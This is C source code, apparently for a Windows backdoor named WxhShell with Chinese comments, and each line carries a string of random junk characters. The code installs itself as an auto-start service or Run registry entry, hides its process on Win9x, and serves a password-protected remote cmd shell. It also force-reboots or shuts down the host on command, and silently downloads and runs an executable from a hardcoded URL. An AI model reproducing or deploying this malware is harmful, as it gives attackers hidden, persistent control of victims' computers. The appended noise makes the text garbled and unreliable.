    if(Boot(SHUTDOWN)) ;1[Lwnm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D>).^>|q  
    else { l<YCX[%E  
    closesocket(wsh); ZFO*D79:K  
    ExitThread(0); ;)gNe:Q  
    } kFsq23Ne  
    break; U**v'%{s  
    } 4C[n@ p2  
  // 获取shell hDc)\vzr  
  case 's': { [tY+P7j9)  
    CmdShell(wsh); GYM6 `  
    closesocket(wsh); >h<bYk"9Q  
    ExitThread(0); Isna KcLM  
    break; g7),si*  
  } 6K 6uB ~  
  // 退出 KXTx{R  
  case 'x': { h<ULp &g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WA&&*ae5`  
    CloseIt(wsh); \NI0rL  
    break; n`af2I2  
    } gdVajOAu  
  // 离开 GtNGrJU  
  case 'q': { ;V"(! 'd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J 8""}7D  
    closesocket(wsh); $bv l.c  
    WSACleanup(); ~PAbtY9}U  
    exit(1); ZUxlk+o9d  
    break; !ii'hwFm$  
        } oHI/tS4 _  
  } ]p sx\ZMa  
  } e:H9!  
SuU %x2  
  // 提示信息 b$Ch2Qz0q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6a\YD{D] _  
} dx It.h   
  } `GD>3-   
6 SosVE>Z  
  return; q|fZdTw  
} !NfN16  
Rf .b_Y@O  
// shell模块句柄 [6Nw)r(a(  
int CmdShell(SOCKET sock) z LHE;  
{ G B &+EZ  
STARTUPINFO si; "t\gkJyK  
ZeroMemory(&si,sizeof(si)); rt7]~W-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d3|oKP6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r=3knCEWK  
PROCESS_INFORMATION ProcessInfo; dfoFs&CSKh  
char cmdline[]="cmd"; `!$I6KxT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (`&`vf  
  return 0; xjDV1Xf*  
} x3>PM]r(V  
1~# 2AdG  
// 自身启动模式 o>'1ct  
int StartFromService(void) ]{<`W5 b/  
{ ]2Q:&T  
typedef struct h&4f9HhS=  
{ 3_]<H<w  
  DWORD ExitStatus; bkgJz+u  
  DWORD PebBaseAddress; P5*~ Wi`  
  DWORD AffinityMask; Ydr/ T/1  
  DWORD BasePriority; xE4iey@\}  
  ULONG UniqueProcessId; *4tJ|m6"Y6  
  ULONG InheritedFromUniqueProcessId; Ka"Z,\T   
}   PROCESS_BASIC_INFORMATION; o?$B<Cb"  
&4ScwK:  
PROCNTQSIP NtQueryInformationProcess; = NHzh!  
=(~UK9`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :z!N_]t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KiJRq>  
AShnCL8uR  
  HANDLE             hProcess; ]E+deM  
  PROCESS_BASIC_INFORMATION pbi; 1*"t-+|  
u(s/4Lu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x{X(Y]*1S  
  if(NULL == hInst ) return 0; lc71Pp>  
%dMP}k/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vNhi5EU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RG)!v6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZO2$Aan  
cv b:FK  
  if (!NtQueryInformationProcess) return 0; {5=Iu\e  
YYz,sR'%|}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %\ i 7  
  if(!hProcess) return 0; ZgcJxWC<  
hZ0CnY8 '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E,[@jxP  
na &?Cw  
  CloseHandle(hProcess); AAr[xo iYp  
3YG[~o|4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k(oHmw  
if(hProcess==NULL) return 0; !c+Nf2I7S  
Z. ))=w6G  
HMODULE hMod; VV*Z5U@b  
char procName[255]; }jQxwi)  
unsigned long cbNeeded; "i\rhX  
#-_';Er\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U9[ &ci  
k|$08EK $  
  CloseHandle(hProcess); >Q$, } `U;  
4E`y*Hmzy+  
if(strstr(procName,"services")) return 1; // 以服务启动 3Ms ` ajJ  
+ou ]|  
  return 0; // 注册表启动 xm }9(EJ  
} b3G4cO;t;  
iINd*eXb^  
// 主模块 Ny@CP}  
int StartWxhshell(LPSTR lpCmdLine) Zxm Mw  
{ Zz<k^  
  SOCKET wsl; hpD\,  
BOOL val=TRUE; y\DR,$Py  
  int port=0; 9 wun$!>&  
  struct sockaddr_in door; =kz(1Pb  
oh k.;  
  if(wscfg.ws_autoins) Install(); !1tHg Z2\  
}7>r,  
port=atoi(lpCmdLine); fb7Gy  
0UEEvD5  
if(port<=0) port=wscfg.ws_port; v)*/E'Cr*  
lLO|,  
  WSADATA data; J6eF7 fa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %T hY6y(  
]xlV;m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4!pMZ<$3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }Km+5'G'U  
  door.sin_family = AF_INET; cnQ;6LtFTz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e6C;A]T2E  
  door.sin_port = htons(port); ,GB~Cmc1<Q  
8E:8iNbF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wN"j:G(  
closesocket(wsl); G x;U 3iV  
return 1; !o+Y" * /  
} g\CRx^s  
~C1lbn b  
  if(listen(wsl,2) == INVALID_SOCKET) { i`3h\ku  
closesocket(wsl); `ZCeuOH  
return 1; ^ lrq`1k  
} (!72Eaw:]  
  Wxhshell(wsl); .E'Tfa  
  WSACleanup(); CdCo+U5z{  
sb Wn1 T U  
return 0; %#xdD2oN  
{sn RS)-  
} &b[ .bf  
&vf9Gp+MK  
// 以NT服务方式启动 {9kH<,PJ;!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `0 .<  
{ Y}<w)b1e|  
DWORD   status = 0; uhi(Gny.  
  DWORD   specificError = 0xfffffff; J*Dt\[X  
c418TjO;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J1@X6U!{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .TcsXYL.`,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  pFfd6P  
  serviceStatus.dwWin32ExitCode     = 0; J9!}8uD  
  serviceStatus.dwServiceSpecificExitCode = 0; j_::#?o!/  
  serviceStatus.dwCheckPoint       = 0; _4eSDO[h  
  serviceStatus.dwWaitHint       = 0; !c}?u_Z/  
ldd|"[Ds  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]ZV.@% +  
  if (hServiceStatusHandle==0) return; v6Vieo=  
J!O{.v  
status = GetLastError(); a$0,T_wD  
  if (status!=NO_ERROR) Gwyjie9t  
{ [D !-~]5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k9>2d'Q  
    serviceStatus.dwCheckPoint       = 0; O$F<x,  
    serviceStatus.dwWaitHint       = 0; mlq+Z#9  
    serviceStatus.dwWin32ExitCode     = status; Akar@wh  
    serviceStatus.dwServiceSpecificExitCode = specificError; en6Kdqe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z+ch-L^K4  
    return; }V20~ hi  
  } qH#?, sK ^  
F1m 1%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W7bA#p(  
  serviceStatus.dwCheckPoint       = 0; (v<l9}!  
  serviceStatus.dwWaitHint       = 0; 0GEM3~~D.?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q"Ct=d  
} Lp!4X1/|\  
!*[Fw1-J  
// 处理NT服务事件,比如:启动、停止 G@Ha t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *P\$<4l  
{ tM&O<6Y  
switch(fdwControl) F8u;C:^d  
{ 1k=w 9  
case SERVICE_CONTROL_STOP: criQa<N"  
  serviceStatus.dwWin32ExitCode = 0; $1aJdZC7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  4RPc&%  
  serviceStatus.dwCheckPoint   = 0; e"^ /xF  
  serviceStatus.dwWaitHint     = 0; xEW >7}+\  
  { <c` + f PW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'CF?pxNQ l  
  } $<;!F=%8  
  return; (T290a9y>  
case SERVICE_CONTROL_PAUSE: MK"p~b0->  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R,+Pcn$ws  
  break; Ue:LKK1Gsr  
case SERVICE_CONTROL_CONTINUE: vBFMne1h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y {&"g  
  break; M)m(  
case SERVICE_CONTROL_INTERROGATE: mEL<d,XhI  
  break; .<#oLM^  
}; yf > rG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d-GU164  
} ,iUWLcOM  
;rp("<g:>  
// 标准应用程序主函数 \nfjz\"R?b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ){-Tt`0(u  
{ q mJ#cmN  
 c@eQSy  
// 获取操作系统版本 $N !l-lu=  
OsIsNt=GetOsVer(); @u@ N&{b5"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \`ya08DP(  
8i epG  
  // 从命令行安装 @fI1|v=eF  
  if(strpbrk(lpCmdLine,"iI")) Install(); T ^ z  
5 )A(q\  
  // 下载执行文件 XZh1/b^DMN  
if(wscfg.ws_downexe) { w^{qut.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _*K=Z,a;\  
  WinExec(wscfg.ws_filenam,SW_HIDE); fT]hpoJl  
} Ch] `@(l  
;u:A:Y4V  
if(!OsIsNt) { ~J~@mE2ks  
// 如果时win9x,隐藏进程并且设置为注册表启动 xE$>;30b_  
HideProc(); L=7Y~aL=  
StartWxhshell(lpCmdLine); y cT@ D/  
} L<7KmN4VX  
else 3^jkd)xw  
  if(StartFromService()) =d+~l  
  // 以服务方式启动 +#;t.&\80N  
  StartServiceCtrlDispatcher(DispatchTable); Z=[qaJ{]  
else be<7Vy]j  
  // 普通方式启动 hFW{qWP  
  StartWxhshell(lpCmdLine); J!\Cs1 !f  
]'.D@vFGO  
return 0; Kia34 ~W  
} DB=^Z%%Z  
}s@ i  
\!51I./Q/  
iBqxz:PHN(  
=========================================== c"wk_ #  
rtjUHhF  
s%bm1$}  
k<Y}BvAYB  
bZ5cKQ\6  
6E^h#Ozl 9  
"  BN_I#8r  
nB|m!fi<  
#include <stdio.h> KbXENz&C  
#include <string.h> 4MFdhJoN  
#include <windows.h> IPVD^a ?  
#include <winsock2.h> Kggc9^ 7  
#include <winsvc.h> _c z$w5`  
#include <urlmon.h> .!`y(N0hc  
p2=+cS"HC  
#pragma comment (lib, "Ws2_32.lib") kd=|Iip;(  
#pragma comment (lib, "urlmon.lib") h,*-V 'X.k  
kB! iEoIBA  
#define MAX_USER   100 // 最大客户端连接数 y/.I<5+Bu  
#define BUF_SOCK   200 // sock buffer M#u~]?hS  
#define KEY_BUFF   255 // 输入 buffer 0Tv0:c>8;(  
ZZ? KD\S5  
#define REBOOT     0   // 重启 4[XiD*  *  
#define SHUTDOWN   1   // 关机 Fkvf[!Ci  
=Hd+KvA  
#define DEF_PORT   5000 // 监听端口 K,f"Q<sU%  
mNQ~9OJ1  
#define REG_LEN     16   // 注册表键长度 nb30<h  
#define SVC_LEN     80   // NT服务名长度 0en Bq>vr  
WV8vDv1jt  
// 从dll定义API n:8<Ijrh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {<P{uH\l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b(HbwOt ~3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K ; e R)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y& p ~8  
Hob n{E  
// wxhshell配置信息 :z^,>So:  
struct WSCFG { 1sIPhOIys  
  int ws_port;         // 监听端口 8XG|K`'u  
  char ws_passstr[REG_LEN]; // 口令 +a'["Gjq;  
  int ws_autoins;       // 安装标记, 1=yes 0=no /)J]m  
  char ws_regname[REG_LEN]; // 注册表键名 FoX,({*Ko~  
  char ws_svcname[REG_LEN]; // 服务名 AxAbU7m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %E"dha JY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PR2;+i3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hp(wR'(g&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ">M:6\B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &&>Tfzh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -)%g MD~z1  
x4N*P  
}; =JGL~t?  
@c -| Sl  
// default Wxhshell configuration 0F-%C>&g  
struct WSCFG wscfg={DEF_PORT, EEp~\^ -  
    "xuhuanlingzhe", ra|Ku!  
    1, 3 +WmM4|  
    "Wxhshell", 4> NmJrh  
    "Wxhshell", oXgi#(y  
            "WxhShell Service", ([ODmZHv  
    "Wrsky Windows CmdShell Service", h|{DIG3  
    "Please Input Your Password: ", CeINODcT  
  1, o:c:hSV  
  "http://www.wrsky.com/wxhshell.exe", ,Zva^5  
  "Wxhshell.exe" O$(#gB'B  
    }; QB<~+d W  
M\D25=(  
// 消息定义模块 x>Gx yVE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9YvK<i&I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <i ";5+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7?p>v34A  
char *msg_ws_ext="\n\rExit."; O"ebrv  
char *msg_ws_end="\n\rQuit."; >|rU*+I`  
char *msg_ws_boot="\n\rReboot..."; V'8Rz#Gc5  
char *msg_ws_poff="\n\rShutdown..."; }G ^nK m  
char *msg_ws_down="\n\rSave to "; *cy!PF&  
1a tQ9  
char *msg_ws_err="\n\rErr!"; Zq"  
char *msg_ws_ok="\n\rOK!"; Xk9 8%gv  
DR(/|?k+  
char ExeFile[MAX_PATH]; Zv5vYe9Ow  
int nUser = 0; XR+  
HANDLE handles[MAX_USER]; {lbNYjknS  
int OsIsNt; l&_PsnU  
]T;  
SERVICE_STATUS       serviceStatus; q+U&lw|"w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !%(PN3*  
Ya29t 98Pk  
// 函数声明 Jy P$'v~  
int Install(void); >c=-uI  
int Uninstall(void); D zdKBJT+  
int DownloadFile(char *sURL, SOCKET wsh); K)#6&\0tT  
int Boot(int flag); %cl{J_}{&  
void HideProc(void); 6){nu rDBG  
int GetOsVer(void); ,FK.8c6g  
int Wxhshell(SOCKET wsl); <AN5>:k[pM  
void TalkWithClient(void *cs); 7_~_$I~g*  
int CmdShell(SOCKET sock);  x-s\0l  
int StartFromService(void); 'Gqo{wl  
int StartWxhshell(LPSTR lpCmdLine); 4Cp)!Bq?/  
$QnsP#ePN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vtv1{/@+c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f>[{1M]n\  
qkA8q@Y4|  
// 数据结构和表定义 Gx;-1  
SERVICE_TABLE_ENTRY DispatchTable[] = [mFgo il  
{ =\IUBH+C  
{wscfg.ws_svcname, NTServiceMain}, ]VoJ7LoCZ'  
{NULL, NULL} "J{A}g[  
}; [8'^"  
NL-V",gI-~  
// 自我安装 Y'Yu1mH)  
int Install(void) 5Bp>*MR/".  
{ 9dFo_a*?  
  char svExeFile[MAX_PATH]; 3|(3jIa  
  HKEY key; %+oV-o\ #A  
  strcpy(svExeFile,ExeFile); T'-kG"lb  
;~Gez;AhK  
// 如果是win9x系统,修改注册表设为自启动 T\ [CQO  
if(!OsIsNt) { gR${S|Z#u4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vT#m 8Kg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [tkP2%1  
  RegCloseKey(key); BFQ`Ab+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =%d.wH?dZ/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9>/:c\q+  
  RegCloseKey(key); 'H(khS  
  return 0; :8U@KABH@h  
    } 2Yg\<Ps N  
  } Uy<n7*H  
} 0RHjA& r3v  
else { 5z Pn-1uW  
Q6r7UM  
// 如果是NT以上系统,安装为系统服务 >/'/^h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]3d5kf  
if (schSCManager!=0) iCy$ rC  
{ gp-rTdN  
  SC_HANDLE schService = CreateService }1|FES  
  ( W#foVAi .  
  schSCManager, QPX3a8w*  
  wscfg.ws_svcname, i2Sh^\Xw  
  wscfg.ws_svcdisp, m0N{%Mf-  
  SERVICE_ALL_ACCESS, a"8H(HAlNn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *0z'!m12  
  SERVICE_AUTO_START, Eb p=du  
  SERVICE_ERROR_NORMAL, DpIk$X  
  svExeFile, a6'T]DW0W  
  NULL, }tbZ[:T{K  
  NULL, |u.3Tp|3W  
  NULL, QG 1vP.K  
  NULL, g2 tM!IRQ  
  NULL ;FnS=Z  
  ); OE2r2ad  
  if (schService!=0) pE 6r7  
  { @;Xa&*   
  CloseServiceHandle(schService); cG!dMab(  
  CloseServiceHandle(schSCManager); c3N,P<#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~8EzK_c  
  strcat(svExeFile,wscfg.ws_svcname); YXIAVSnr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -o+; e3#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9-E dT4=r,  
  RegCloseKey(key); (/C 8\}Ox  
  return 0; AQ)J|i  
    } `%$+rbo~  
  } sV`p3L8pl  
  CloseServiceHandle(schSCManager); i!+0''i{#  
} <+: PTG/('  
} Xj$'i/=-+c  
R_Uy.0=4  
return 1; Sz>Lbs  
} Hli22~7T:  
tHFBLM  
// 自我卸载 L/)Q1Mm  
int Uninstall(void) {YEGy  
{ \Z_29L w=  
  HKEY key; 3ZhuC".c  
I~ e,']  
if(!OsIsNt) { B>%;"OMp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |9]_<X[ic  
  RegDeleteValue(key,wscfg.ws_regname); Ie/dMB=t  
  RegCloseKey(key); ;ibOd~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zn6u6<O=  
  RegDeleteValue(key,wscfg.ws_regname); '6GW.;  
  RegCloseKey(key); z)%]# QO  
  return 0; pQk@ +r  
  } {GG;/Ns{f-  
} ]\*_}  
} SzyaVBD3  
else { 0lS=-am  
Nq#B4Zx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {tUxRX  
if (schSCManager!=0) =$#=w?~%  
{ rV B\\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N;* wd<  
  if (schService!=0) ->2m/d4a  
  { FBS]U$1  
  if(DeleteService(schService)!=0) { 9/dADJe0b  
  CloseServiceHandle(schService);  e,T^8_>  
  CloseServiceHandle(schSCManager); qD{~QHDa  
  return 0; _c,{}sn  
  } wpcqgc  
  CloseServiceHandle(schService); QZFH>,d  
  } 4}Yn!"jW&  
  CloseServiceHandle(schSCManager); I[bWd{i:  
} af|x(:!H  
} 41I2t(H @z  
u|75r%p>  
return 1; t"X^|!hKIF  
} [!U! Z'i  
N_?15R7h  
// 从指定url下载文件 fzzk#jU  
int DownloadFile(char *sURL, SOCKET wsh) HH|N~pBJB  
{ 5?8jj  
  HRESULT hr; o`{^ptu1q  
char seps[]= "/"; apWv+A  
char *token; jQ dIeQD+  
char *file; =*KY)X  
char myURL[MAX_PATH]; &p5^Cjy L  
char myFILE[MAX_PATH]; w6|l ~.$=  
Jn"ya^~  
strcpy(myURL,sURL); ^IO\J{U{"x  
  token=strtok(myURL,seps); EC7)M}H  
  while(token!=NULL) kn}bb*eZ  
  { f s2}a  
    file=token; N V`=T?1[5  
  token=strtok(NULL,seps); r>J%Eu/O  
  } d?)Ic1][  
;!)gjiapw  
GetCurrentDirectory(MAX_PATH,myFILE); G|qsJ  
strcat(myFILE, "\\"); BB.120v&N  
strcat(myFILE, file); oVY_|UujG  
  send(wsh,myFILE,strlen(myFILE),0); ~{ l @  
send(wsh,"...",3,0); [I78<IJc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $.3J1DU  
  if(hr==S_OK) x57O.WdN  
return 0; S+GW}?!  
else /hAy1V6  
return 1; 3 V$ \s8  
,e;_ Vb  
} afd.v$63  
synueg  
// 系统电源模块 [midNC+,  
int Boot(int flag) v;d3uunqv  
{ d^I:{Ii'  
  HANDLE hToken; c=33O,_  
  TOKEN_PRIVILEGES tkp; Z5,"KhB]  
JdX!#\O  
  if(OsIsNt) { t!o=-k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K9) |b`E=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R/l/GNm  
    tkp.PrivilegeCount = 1; \ \gAa-}:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -d^c!Iu|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vGchKN~_  
if(flag==REBOOT) { lf_q6y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p_CCKU  
  return 0; M2LW[z  
} &0 SgEUZr  
else { CgKFI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .J \i!  
  return 0; ]~4*ak=)5\  
} Tfw5i,{  
  } cQ(,M  
  else { .cB>ab&  
if(flag==REBOOT) { S%o6cl=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) scZ&}Ni  
  return 0; <%S[6*6U  
} o^Qy71Uj  
else { '25zb+ -  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <=@6UPsn2  
  return 0; `h<>_zpjY  
} 3]67U}`  
} w$ jq2?l  
Nzl`mx16  
return 1; c"zE  
} ww)ow\  
P7*?E*   
// win9x进程隐藏模块 6k;>:[p  
void HideProc(void) '%*/iH6<U{  
{ /~P4<1  
=Q4Wr0y><]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f!J?n]  
  if ( hKernel != NULL ) 6<No_x |_  
  { wc?YzXP+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0xUn#&A~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ##'uekSJ  
    FreeLibrary(hKernel); J/\^3rCB  
  } ,AG k4]  
T 2Gscey  
return; pXK-,7-  
} (} Y|^uM,  
 ,<U  
// 获取操作系统版本 U[NQ"  
int GetOsVer(void) ~>rn q7j  
{ ;ApldoMi  
  OSVERSIONINFO winfo; % E 8s>D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V@\A<q%jTs  
  GetVersionEx(&winfo); e%^PVi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O[z-K K<  
  return 1; 3#Xv))w1  
  else #xt-65^  
  return 0; ltOsl-OpR  
} As(6E}{S  
G<`6S5J>hr  
// 客户端句柄模块 2bxW`.fa  
int Wxhshell(SOCKET wsl) a ~F\ 2`Q  
{ XRXQ 7\n  
  SOCKET wsh; K.42 VM)F  
  struct sockaddr_in client; a 9Kws[  
  DWORD myID; ~> S? m;  
OD).kP}s^  
  while(nUser<MAX_USER) r(I&`kF<  
{ y(Tb=:  
  int nSize=sizeof(client); QQQN}!xPj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v[<;z(7Qk  
  if(wsh==INVALID_SOCKET) return 1; `9nk{ !X\  
sDjbvC0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n(j5dN>]  
if(handles[nUser]==0) \6vr)1~N>  
  closesocket(wsh); -8z@FLUK-  
else W.?EjEx  
  nUser++; `9Q O'^)  
  } ~Q+J1S]Fs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @%I-15Jz  
j0A9;AP;;C  
  return 0; CMU\DO  
} i:x<Vi  
'nfdOX.d  
// 关闭 socket B }  
void CloseIt(SOCKET wsh) =A<a9@N}N  
{ DVw 04ay%  
closesocket(wsh); SlD7 \X&~  
nUser--; N==Y]Z$G  
ExitThread(0); W4]jx ]  
} g.COKA  
%( #kJZ  
// 客户端请求句柄 .]ZMxDZ  
void TalkWithClient(void *cs) /v7o!D1G  
{ no7Q%O9  
A<[BR*n  
  SOCKET wsh=(SOCKET)cs; 5XinZ~  
  char pwd[SVC_LEN]; kw5`KfG9  
  char cmd[KEY_BUFF]; [cw>; \J  
char chr[1]; 0E/16@6=  
int i,j; oe{,-<yck  
|[MtUWEW  
  while (nUser < MAX_USER) { A8j$c~  
@^,9O92l  
if(wscfg.ws_passstr) { jGtu>|Gj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MmD1@fW32#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rl:D>t(:.  
  //ZeroMemory(pwd,KEY_BUFF); eI=:z/pd  
      i=0; R|-!5J4h  
  while(i<SVC_LEN) { \  6 : 7  
JO&+W^$uY}  
  // 设置超时 ;f9a0Vs  
  fd_set FdRead; nOq`Cwh9  
  struct timeval TimeOut; PbY=?>0z  
  FD_ZERO(&FdRead); \Z$MH`_nu  
  FD_SET(wsh,&FdRead); NkYC(;g  
  TimeOut.tv_sec=8; 2 t:CK  
  TimeOut.tv_usec=0; aThvq%;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H*h4D+Kxv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AzFS6<_  
I Ab-O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =90)=Pxd  
  pwd=chr[0]; M Jtn)gXb  
  if(chr[0]==0xd || chr[0]==0xa) { 2\9OT>  
  pwd=0; KvtJ tql;  
  break; '?qI_LP?  
  } "T' QbK0  
  i++; [ Ru ( H  
    } D[<~^R;*  
epxbTJfc  
  // 如果是非法用户,关闭 socket bs?&;R.5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2;`WI:nt  
} DQ%(X&k  
5@`dKFB5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Sc;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *m:'~\[u  
jl,>0 MA  
while(1) { mLH,6rO9  
x1`zD*{  
  ZeroMemory(cmd,KEY_BUFF); E\*M4n\!  
@_Es|(4  
      // 自动支持客户端 telnet标准   & eWnS~hJ  
  j=0; ;BW9SqlN  
  while(j<KEY_BUFF) { xv 0y?#`z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7 R}oO_n:  
  cmd[j]=chr[0]; Q=F^Y f  
  if(chr[0]==0xa || chr[0]==0xd) { iB3C.wd-  
  cmd[j]=0; 6(V"xjK  
  break; h?-M+Ac  
  } &?3P5dy_  
  j++; UaM&/K9  
    } _t@9WA;+\  
aHBM9%gV  
  // 下载文件 YAYwrKt  
  if(strstr(cmd,"http://")) { c->?'h23)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M`QK{$1p  
  if(DownloadFile(cmd,wsh)) ?xb2jZ/0X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tW"s^r=95  
  else @+; cFj  
